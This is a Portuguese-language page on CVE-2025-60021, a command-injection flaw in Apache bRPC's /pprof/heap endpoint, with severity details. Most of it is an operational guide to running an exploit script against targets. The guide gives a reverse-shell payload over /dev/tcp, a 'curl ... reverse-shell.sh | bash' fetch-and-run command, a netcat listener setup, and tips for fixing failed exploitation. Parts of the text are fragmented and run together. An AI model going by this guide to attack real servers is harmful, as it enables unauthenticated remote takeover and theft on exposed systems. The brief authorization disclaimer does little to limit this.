
CVE-2025-60021

CVE-2025-60021 é uma vulnerabilidade crítica de injeção remota de comandos encontrada no serviço embutido de heap profiler (/pprof/heap) do Apache bRPC em versões anteriores a 1.15.0, permitindo que atacantes não autenticados executem comandos arbitrários do sistema operacional. ([NVD][1])
| Atributo | Informação |
|---|---|
| Nome / ID | CVE-2025-60021 |
| Produto | Apache bRPC (todas as plataformas) |
| Versões Afetadas | < 1.15.0 |
| Data de Publicação | 16 de jan. de 2026 ([NVD][1]) |
| Tipo de Vulnerabilidade | Injeção Remota de Comandos (CWE-77) ([NVD][1]) |
| Endpoint | /pprof/heap |
| Gatilho | Parâmetro extra_options não sanitizado |
| Causa Raiz | Entrada não validada antes da execução como comando do SO ([openwall.com][2]) |
❗Atacantes podem injetar comandos remotamente simplesmente manipulando este parâmetro de perfil.
🔥 Classificação de Severidade: Crítica
📊 Pontuação Base CVSS v3.1: 9.8 / 10
Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])
| Categoria de Impacto | Efeito | |
|---|---|---|
| Confidencialidade | Alto | |
| Integridade | Alto | |
| Disponibilidade | Alto | |
| Vetor de Ataque | Rede | |
| Privilégios | Nenhum necessário | |
| Interação do Usuário | Nenhuma necessária | ([INCIBE][3]) |
👉 Isso significa que atacantes podem executar comandos arbitrários remotamente sem login — um cenário de pior caso para serviços expostos.
/pprof/heap) destinado à análise de memória (jemalloc). ([openwall.com][2])extra_options. Em vez de sanitizá-lo, o bRPC o passa diretamente para o shell do SO. ([openwall.com][2])Isso pressupõe que você tenha o script salvo como CVE-2025-60021.py (embora o CVE real seja 2025-60021 — fique à vontade para renomeá-lo). É um script Python 3 para demonstrar a vulnerabilidade de injeção remota de comandos no heap profiler do Apache bRPC. Execute apenas em sistemas que você possui ou para os quais tem permissão explícita por escrito para testar — explorar sem autorização é ilegal.
Ambiente Python: garanta que você tenha Python 3 instalado (ex.: 3.6+). O script usa módulos nativos além de requests e argparse (que são padrão ou fáceis de instalar).
Instalar Dependências: se ainda não estiver presente, instale a biblioteca requests:
pip install requests
Configuração do Alvo: você precisa de um servidor Apache bRPC vulnerável:
http://localhost:8060 ou um IP/porta remoto).
Se for testar localmente, configure uma instância bRPC vulnerável (ex.: via Docker ou compilação a partir do código-fonte — consulte a documentação do Apache bRPC).Permissões: execute com sudo somente se necessário para acesso à rede ou privilégios; caso contrário, apenas python3 já basta.
Copie o código PoC que forneci anteriormente para um arquivo chamado CVE-2025-60021.py. Torne-o executável, se desejar:
chmod +x CVE-2025-60021.py
O script aceita dois argumentos posicionais obrigatórios:
target: A URL do servidor bRPC vulnerável (ex.: http://192.168.1.100:8060 ou http://targets:8060 — corrija erros de digitação, como esquema ausente ou host inválido).cmd: O comando a ser executado no alvo (ex.: "id" para informações do usuário, ou algo mais complexo como "curl http://your-server/reverse-shell.sh | bash" para um reverse shell). Use && ou ; para encadear vários comandos.Abra um terminal (ex.: no Kali Linux, como você está usando) e execute-o com seu alvo e comando. Exemplos de comandos:
Teste básico (obter informações do sistema):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Exemplo de reverse shell (substitua your-listener-ip e a porta; primeiro configure um listener como nc -lvnp 4444):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Se estiver usando HTTPS ou uma porta diferente, ajuste a URL de acordo (ex.: https://target:443 — o script lida com isso, mas adicione --insecure se houver problemas de certificado).
Indicadores de Sucesso:
uid=0(root)... se ele executou id).Indicadores de Falha (como o que você viu):
--enable_heap_profiler=true) e reinicie o servidor.cmd — sempre inclua-o.echo "test" > /tmp/proof.txt) e verifique o arquivo no alvo.; não funcionar, tente && ou | para encadear. Codifique caracteres especiais na URL, se necessário (o script lida com a maioria)./pprof/heap.